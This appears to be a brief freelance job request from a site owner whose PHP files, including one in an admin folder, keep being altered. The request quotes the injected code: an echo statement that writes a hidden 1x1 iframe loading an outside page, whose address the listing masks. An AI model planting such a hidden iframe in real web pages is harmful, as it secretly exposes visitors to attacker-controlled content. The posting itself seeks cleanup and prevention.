288872 site being hacked

i dont know if its a hack or a virus somehow, every now and then i go back to site and 2 files have changed, [login to view URL] and admin/[login to view URL] its adds this code in: echo "<iframe src=\"[login to view URL]\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; need it fixed and to know how its being added and how to prevent it again